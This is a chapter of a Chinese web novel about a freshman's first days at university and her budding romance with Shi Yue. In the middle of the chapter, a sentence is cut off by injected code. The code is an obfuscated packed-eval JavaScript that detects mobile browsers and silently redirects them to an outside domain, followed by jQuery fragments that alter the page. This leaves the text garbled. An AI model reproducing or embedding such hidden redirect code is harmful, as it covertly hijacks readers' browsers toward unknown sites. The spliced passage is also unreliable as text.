夏末中午的太阳依旧毒辣，顾知秋和爸妈拖着两个大行李箱站在报到处的长队里。同行的还有一位志愿者学姐，领着他们走到宿舍楼下。爸爸沉默地扛起最重的箱子，妈妈在一旁不停地絮叨着注意事项，手里还攥着一瓶刚刚迎新点给的矿泉水。狭窄的楼梯间里，爸爸的后背很快被汗水浸透了一片。
宿舍是四人间，比顾知秋想象中要宽敞些，她记得自己以前大学宿舍是六人间。
刚一进门，靠门左边床位的一个女孩就热情地迎了上来。她的妈妈正手脚麻利地帮忙擦着桌子，女孩看到顾知秋和她的家人，立刻张开一个大大的笑容，嗓音清亮：“叔叔阿姨好！同学你好！刚到吧？” 她是顾知秋的室友之一，来自东北的爽朗姑娘，王悦。
王悦对面的说桌前上，一个穿着棉布长裙的女生正安静地看书，桌上整齐地码放着一摞英文原版小说。察觉到顾知秋的目光，她抬起头，对她微微一笑，算是打了招呼。自我介绍后才知道，她来自川市，叫陈敏之。
最里面的床位旁，还有一个女孩，也是独自一人。她正背对着门口，一丝不苟地整理着自己的床铺。听到门口的动静，她只是短暂地回头瞥了一眼，简短自我介绍后，她继续专注着手里的活。这来自西北的女孩，马丽娜。
妈妈和她一起把箱子里的东西一件件拿出来，坚持要亲手给她铺好床单，压平了每一个褶皱，又把洗漱用品一样样在洗手间摆好。
“都收拾好了，那，我们就去宾馆了。”妈妈的声音忽然低了下去，她伸出手，似乎想再摸摸顾知秋的头发，最终却只是拍了拍她的肩膀。“晚上再来和你一起吃饭，明天我们就直接回去了。”
爸爸站在门口，嘴唇动了动，最后只郑重地说出一句：“有事就打电话。”他的目光在女儿和这间她即将生活四年的小屋之间停留了片刻，最终只简单落下三个字：“好好的。”
顾知秋把爸妈送到宿舍楼下。看着他们的背影汇入熙攘的人群，最终消失在校园的林荫道尽头。夏末的风吹过，心里那片空落落的地方，却也清晰地回响着成长的声音。
回宿舍收拾好后，顾知秋把许丹丹送的“变异兔子”放在枕边，又将徐嘉瑜拍的照片用双面胶固定在书桌前。当她从行李箱底层取出那本陪伴了她整个高三的日记本时，一张照片从里面滑了出来——图书馆里，阳光下的少女专注地伏案疾书。她现在仿佛能看见时越拍下照这张照片时候，神情有多温柔。她郑重地将照片小心收回日记本。看了眼天色，窗外太阳已经西斜。
这时妈妈的消息跳了出来：“只只，我和你爸已经到你们学校东门对面那家‘学子餐厅’，收拾得差不多了就过来吧。”
顾知秋到的时候，菜已经点好了，几乎全是她爱吃的。清蒸鲈鱼、糖醋小排、清炒芥蓝，甚至还有一小盅精心撇去了浮油的鸡汤。几个菜份量大的惊人。
“也不知道这儿的菜合不合口味，先尝尝。”妈妈忙着给她夹菜，把小碟子堆得冒尖，“多吃点鱼，在学校不比家里，想吃啥就吃啥……”
爸爸的话依旧不多，只是把她小时候最爱吃的糖醋小排的盘子往她面前推了推。
餐厅里人声鼎沸，大多是和他们一样来送孩子的家长和学生，到处充斥着即将离别前的絮叨与叮嘱。
“钱不够了一定要说，”妈妈继续说，“别省着吃喝。水果要天天吃，牛奶也每天喝一瓶。我看了你们学校也有订牛奶的广告……”
吃完饭，走出餐厅时天色已经微微暗了下来。街灯渐次亮起，勾勒出父母不再年轻的轮廓。这次妈妈没再犹豫，伸手仔细地替她理了理额前被风吹乱的碎发。
“回去吧，和室友好好相处。”妈妈的声音有些哑，“明天不用来送了，我们自己去高铁站就行。”
爸爸朝她点了点头，挥挥手，示意她先回学校。
顾知秋站在原地，看着父母并肩走向马路对面的宾馆，他们的身影在霓虹初上的夜色中显得格外单薄。一直等到他们走进宾馆大门，她才转身，迈入她的新世界中。
宿舍里灯火通明，当她在阳台上，看向满天繁星时，京市的夜色比故乡更明亮几分，一种真实的独立感这才悄然落地。此时，手里的手机震动，是时越的消息：
【收拾好了吗？送你爸妈回宾馆了吧？】
【嗯，你都收拾好了吧？】
【那明天来你们宿舍楼下找你。】时越提前两天就到了，说是反正不能一起出发，不如提前先去熟悉环境。
夜风拂过脸庞，带着凉意。顾知秋嘴角不自觉地上扬：【好，明天见。】
—
宿舍里，室友王悦正一边敷面膜，一边对着手机屏幕那头的家人叽叽喳喳：“……对啊对啊，军训好不容易结束了，我都晒成非洲人了。所以搁这儿敷面膜呢。”“嗯嗯，室友都好着呢，相处得可好了，放心吧。”
手机屏幕亮了一下，是时越的消息：【收拾好了吗？】
【嗯。已经躺床上了。你呢？】
【也好了，明天早晨一起吃早饭？】
【我们明天都有早课，会不会太早了？】
【那6:30到你们楼下。】
【……好的吧。】
顾知秋心说：真不知道约会的甜能不能碾压早起的苦。
第二天的清晨，顾知秋洗漱完毕下楼，时越已经等在宿舍楼下了。晨光带着清新的凉意，他穿了件简单的深灰色长袖T恤，深色运动长裤，单肩挎着个看起来颇有些分量的黑色双肩包，正低头专注地翻看着一张写满复杂公式的A4纸，眉头微蹙。
似乎是感应到什么，他抬起头，眼神里的严肃瞬间散去，换上一抹安静的温柔。
“走吧。”他收起资料，很自然地伸手接过顾知秋手里的米色书包。
食堂里各种食物的香气混杂在一起，熙熙攘攘人已经不少，重点大学的早鸟其实还挺常见的。时越让她坐着占位，自己熟门熟路地去窗口排队，回来时托盘里摆着她经常喝的牛奶，还有一碗白粥，两个茶叶蛋和一个蛋包饭。
“课表出来吧？”他一边问，一边熟练地剥着鸡蛋壳。
“嗯，出来了。周一二四满课，民法、法理、宪法，周三下午没课。”顾知秋用吸管戳开牛奶，“开学就是‘法学全家桶’，人人有份。”
时越把剥好的鸡蛋递过去，又去剥另一个：“提前熟悉业务，以后创业的话法务部就靠你了。”
顾知秋故意瞪他一眼：“时同学，你已经初具资本家雏形了。”
时越闻言笑了笑：“对了，校队下周开始正式训练，我晚上和周末可能要加练。”
“哦。”
“就哦吗？”
“那不然呢？我也很忙的好吧！我晚上和周末，可能要加强学习。”
这顿早饭两人在一起一共半小时，从食堂出来时，太阳已有些晃眼。他把书包递给她：“那去上课了，晚上一起吃饭吧。”
“嗯，下午下课后找你。”
他身影利落地汇入清晨校园熙攘的人潮，很快就在拐角处消失不见。顾知秋站在原地，看着他的背影方向怔忡了几秒，才转身，抱着书本，不紧不慢地朝着法学院大楼方向走去。
大学生活，就这样以平静方式展开了。
法学专业的课程比想象中更具挑战性，绝不是简单的无脑背诵就行，大量阅读材料、精准理解的法律概念、严谨的逻辑训练，这些的确占据了顾知秋大部分时间。
她有时会觉得好笑，自己这重生堪称史上最“朴实无华”了吧，完全不是小说里翻云覆雨的主角，没有传说中的金手指，预知能力几乎为零，只有刷题量实现了指数级增长了吧。可是当她看着密密麻麻的笔记时，却又真心认同脚踏实地的安心和快乐同样珍贵。
时越也确实像他说的那样很忙，两人大部分见面都只是一起吃早饭或晚饭，主要还是靠手机联络。顾知秋笑称自己只是个不固定“饭搭子”，偶尔搭伙吃饭，吃完散伙。面对徐嘉瑜和室友王悦的怀疑，她自己偶尔也会怀疑这谈的算不算一种“同校异地恋”。
所以，这周三下午，当王悦拉壮丁央求她陪着去报名戏剧社时，她跟着去看了看。
场地里闹哄哄的，充斥着表演欲旺盛的年轻面孔。那个叫江枫的师兄确实有才气，点评一针见血。顾知秋本来对表演没什么兴趣，但是抵不住王悦的软磨硬泡，两人都成了戏剧社的团员。几次活动下来，意外地发现自己对写剧本很感兴趣。更没想到，这成了她以后生活很重要的一部分。
—
一个周五的晚上，顾知秋在图书馆自习室埋头苦写，赶一篇老师要求的法条分析。等她终于敲下最后一个句号，保存好文档，伸了个懒腰，才发现窗外不知何时已是夜色浓重。闭馆的音乐低声流淌，周围响起窸窸窣窣的收拾声，椅子的轻微挪动声，还有同学们压低了的交谈声。
熟悉场景，让她恍惚间以为还在高三教室，正是晚自习结束。她看了看四周，目光扫过一张张朝气蓬勃的面孔，总觉得会在某个角落看到那个熟悉的身影——挺直的背脊，低垂的睫毛，还有那双骨节分明的手。但身边走过的陌生面孔和窗外截然不同的建筑轮廓，又在提醒她，这是一个不同的世界
她掏出手机，屏幕的光亮在夜色里有些刺眼。时越的消息安静地躺着：【还在图书馆？几点结束？】
心像被羽毛轻轻拂过，一种细微却真实的期待感像气泡水一样从心底咕嘟冒起。她回复：【刚出来。你呢？】
几乎是在发送成功的瞬间，【图书馆楼下。】几个字跳了出来。
她加快了脚步。一走出图书馆的大门，微凉的晚风立刻包裹上来，吹散了在室内积攒的沉闷。
路灯昏黄的光晕投在地上，圈出一个又一个图案。一抬眼，那个清瘦挺拔的身影安静地站着。他微微低着头，一只手随意地插在裤兜里，另一只手拿着手机。一切都好像和高中晚自习后，他在教学楼楼下等她的时候一样。可又好像完全不同了。背景从熟悉的家乡变成了更广阔、更自由的大学，而他们之间，那些未曾说破的小心翼翼情感，已经在暑假落在了实处。
顾知秋小跑过去，脚步声惊动了他。时越抬起头，视线便落到了她身上，那双总是沉静的双眼里非常自然地晕开一点笑意，像投入石子的
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16471751|181043||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
湖面，荡开浅浅的、温柔的波纹。
“等很久了吗？”顾知秋在他面前站定，声音闷在围巾里，有些嗡嗡的。
“没有，刚忙完过来。”时越收起手机，很自然地伸手，将她肩上滑落的书包带子捋正，又无比熟练的拿下来替她拿着，指尖擦过她外套的布料，“累不累？”
“还好，就是看法条有点头昏脑胀。”顾知秋摇摇头，“你呢？今天怎么样？”
“也还行，跟平时差不多。”
两人并肩走在覆满落叶的小路上，脚步声嘎吱作响。沉默弥漫着，却并不尴尬，像一件熟悉的旧衣包裹着两人。
“冷吗？”他忽然出声，声音被风吹得有些散。
“有点的。”她把手指往衣袖里又缩了缩。
他没再说话，却不动声色地放慢了脚步，挪到了靠风来的那一侧，仿佛真的用身体替她挡掉了一些凛冽的寒意。
走到岔路口。“饿不饿？”时越停下脚步看她，“食堂应该还有宵夜。”
顾知秋其实不太饿，但她点了点头：“去吃点吧。”
食堂这时候人不多，空调开得很足，弥漫着食物混合起来暖烘烘的气息。他们找了个靠窗的角落坐下。时越把她那份馄饨推到她面前，又顺手抽了张纸巾，把自己和她那边桌面又重新擦了一遍。
这些小动作，他做得无比自然，自然到好像只是出于他一贯的整洁和习惯。但之前一起吃过好多次饭的经验，顾知秋知道，他从来都保持着合适的距离，这是两人关系变化后才有的变化。
她低头小口吃着馄饨，热汤下肚，浑身都暖和起来。
“你们那个竞赛，”她想起白天听室友聊起的八卦，想到时越差不多是一入学就组队参赛了，“是不是压力超大？”
时越拿着勺子的手顿了一下，似乎有些意外她会问这个，“其实还好，就是挺耗时间的。”
她抬起头，目光落在他脸上。食堂顶灯有些晃眼的光线落在他眼底，清晰地照出了一层浅浅的青色，是熬夜后的最佳证据。她很早就知道，他被人称道的成绩，从来不是天赐的礼物，而是日复一日的坚持结出的果实。
“怪不得江一鸣说你是拼命三郎版的学神，”顾知秋轻轻搅动着碗里的馄饨，语气里带着真诚的感叹，也有一丝不易察觉的心疼，“不过不同的是，我们还在拼命适应上课节奏呢，你已经要代表学校去竞赛了。”
时越闻言，只是微微耸了下肩，像那只是一件不值一提的小事。他舀起一勺清汤，语气平淡得就像在说明天的天气：“没那么夸张。选了这条路，自然就会往这个方向走，竞赛也只是顺其自然的一站而已。比赛期间没办法，都会忙一点。”
顾知秋心想，时越仿佛习惯了将所有的刻苦与付出都轻描淡写的归纳为“顺其自然”，从不渲染过程中的艰辛，仿佛那些熬夜反复演算、推敲的日夜，都是最寻常的分内的之事。
吃完宵夜，身体彻底暖和了起来。再一次走到室外，扑面而来的风更让人瑟缩。这条路回去会要经过的一片小树林，这个点，路灯照不到里面，黑漆漆的一片，只有风吹过树枝时发出的呜呜声，是夜晚是情侣们约会的好去处。
视觉被剥夺后，其他的感官会变得异常敏锐。脚下踩着落叶，发出更大的声响。寒冷的空气包裹着全身。然后，她的手背，在随着步伐摆动时，不经意地轻轻碰到了走在斜前方的时越的手。
带着室外的寒意，触碰到他干燥却却的手背。
心底像风吹过水面，泛起一阵不安的涟漪。
黑暗中，看不清彼此的表情，顾知秋感受那一瞬，他似乎屏住了呼吸，身体也变得有些僵硬。然后，一只温暖的手，在浓稠的黑暗里带着一丝犹豫，摸索着找到了她已经冻得冰凉的右手。
他只是用自己的食指，带着一种郑重的试探，轻轻勾住了她的手指。
只是手指的碰触，皮肤接触的的面积其实小得可忽略，时越却觉得那一点相碰的肌肤，在黑暗中仿佛被放大了无数倍。
能清晰地感觉到她的柔软和微凉的触感，似乎还有她小指轻微的颤动。周遭的一切更安静了，只剩下震耳欲聋的心跳和指弯相触的那一点感知。
就这样，两人只是勾着手指，沉默而坚定地走在黑暗中，一步一步穿过了那一小片树林。
当眼前再次出现路灯昏黄的光线，重现踏上熟悉的水泥地时，他准备松开手指。
指尖的温暖骤然离去，但方才的悸动还残留着。几乎是同一瞬间，甚至可能比他移动得更早，顾知秋就完全地抓住他有些僵直的指尖，全掌覆盖上去。
她的动作很笃定，带着一种不容置疑的温柔力道。掌心相贴的瞬间，时越的手僵住了。
谁都没有说话，他连呼吸都变得小心翼翼。只有两只手紧密地交握着。时越觉得自己手心的温度滚烫得惊人，几乎要灼伤皮肤。
他轻轻呼了口气，然后，手指坚定地穿过她的指缝，带着某种仪式感，缓慢地完成了十指紧扣。
指根紧密相嵌的瞬间，他感觉整个世界仿佛被无限缩小，只剩下两人交握的手，和他震耳欲聋的心跳声。